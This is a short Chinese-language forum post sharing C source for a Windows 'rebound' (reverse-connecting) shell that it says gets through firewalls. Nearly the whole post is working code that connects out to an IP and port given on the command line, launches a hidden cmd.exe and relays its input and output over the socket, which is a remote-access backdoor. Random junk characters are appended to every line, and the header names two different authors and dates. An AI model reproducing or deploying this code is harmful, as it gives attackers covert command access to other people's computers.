这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 OK YbEn#
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/* ============================== RDjw|V
Rebound port in Windows NT EuImj#Zl
By wind,2006/7 He}?\C
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===============================*/ [-\U)>MY(p
#include .D\oKhV(
#include 96J]g*o(uU
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#pragma comment(lib,"wsock32.lib") y`
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void OutputShell(); \7pEn
SOCKET sClient; ^:}C,lIrG
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y6x./1Nb}<
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void main(int argc,char **argv) `!(%Rk
{ NffKK:HvBB
WSADATA stWsaData; p<}y'7(
int nRet; ,v#n\LD`
SOCKADDR_IN stSaiClient,stSaiServer; dUl"w`3
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if(argc != 3) @^ *62
{ X%kJ3{
printf("Useage:\n\rRebound DestIP DestPort\n"); sUK|*y
return; 8#- Nx]VM
} 56.JBBZZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); PHY!yc-LjV
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %<[{zd1C-
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stSaiClient.sin_family = AF_INET; z8]@Gh+
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stSaiClient.sin_port = htons(0); ,S(s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5MD'AP:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ZbjUOlE02
{ ,J-|.ER->
printf("Bind Socket Failed!\n"); 3}&3{kt
return; DHx&%]r;D
} $!y^t$u$@
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stSaiServer.sin_family = AF_INET; hvNK"^\p
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m%>}T75C^
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^cSfkBh
}#%Ye CA?
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -!O8V
{ z,7;+6*=L
printf("Connect Error!"); jm@M"b'{
return; |yzv o"3
} Il(o[Q>jJ3
OutputShell(); 96QY0
} CSq|R-@<U
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void OutputShell() W[
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{ rqdN%=C
char szBuff[1024]; q5-i=lw
SECURITY_ATTRIBUTES stSecurityAttributes; EG$-D@o\I
OSVERSIONINFO stOsversionInfo; (_>SuQK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VwZ~ntk
STARTUPINFO stStartupInfo; ;in-)`UC!
char *szShell; Q^nfD
PROCESS_INFORMATION stProcessInformation; cfa1"u""e
unsigned long lBytesRead; B@0#*I
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Bp5ra9*5+~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jgG9?w)|u
stSecurityAttributes.lpSecurityDescriptor = 0; /2c(6h
stSecurityAttributes.bInheritHandle = TRUE; #OM)71kB8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SJMbYjn0J
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G)t-W%D&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `XK\',
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l'wu-
stStartupInfo.wShowWindow = SW_HIDE; nqUnDnP2c
stStartupInfo.hStdInput = hReadPipe; r<!nU&FPD:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a|oh Ad
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GetVersionEx(&stOsversionInfo); m*N8!1Ot
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switch(stOsversionInfo.dwPlatformId) Ng*-Bw)p]
{ LD5`9-
case 1: |m"Gr)Gm
szShell = "command.com"; j3/6hE>
break; REK):(i7P
default: q{f\_2[
szShell = "cmd.exe"; RJerx:]
break; hCr,6nc C
} PQSmBTs.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sCrP+K0D
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send(sClient,szMsg,77,0); 87+fd_G
while(1) R#;xBBt8
{ B>!mD{N
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JW^ ${4
if(lBytesRead) 7g+T
{ 42"nbJ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); QkD
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send(sClient,szBuff,lBytesRead,0); 0!0e$!8l
} 7kE+9HmfMk
else S\A0gOL^
{ xRXvTNEg
lBytesRead=recv(sClient,szBuff,1024,0); un-%p#
if(lBytesRead<=0) break; H{=G\N{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d<Q%h?E
} :adz~L$
} OQKg/1
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return; ux(~+<k
}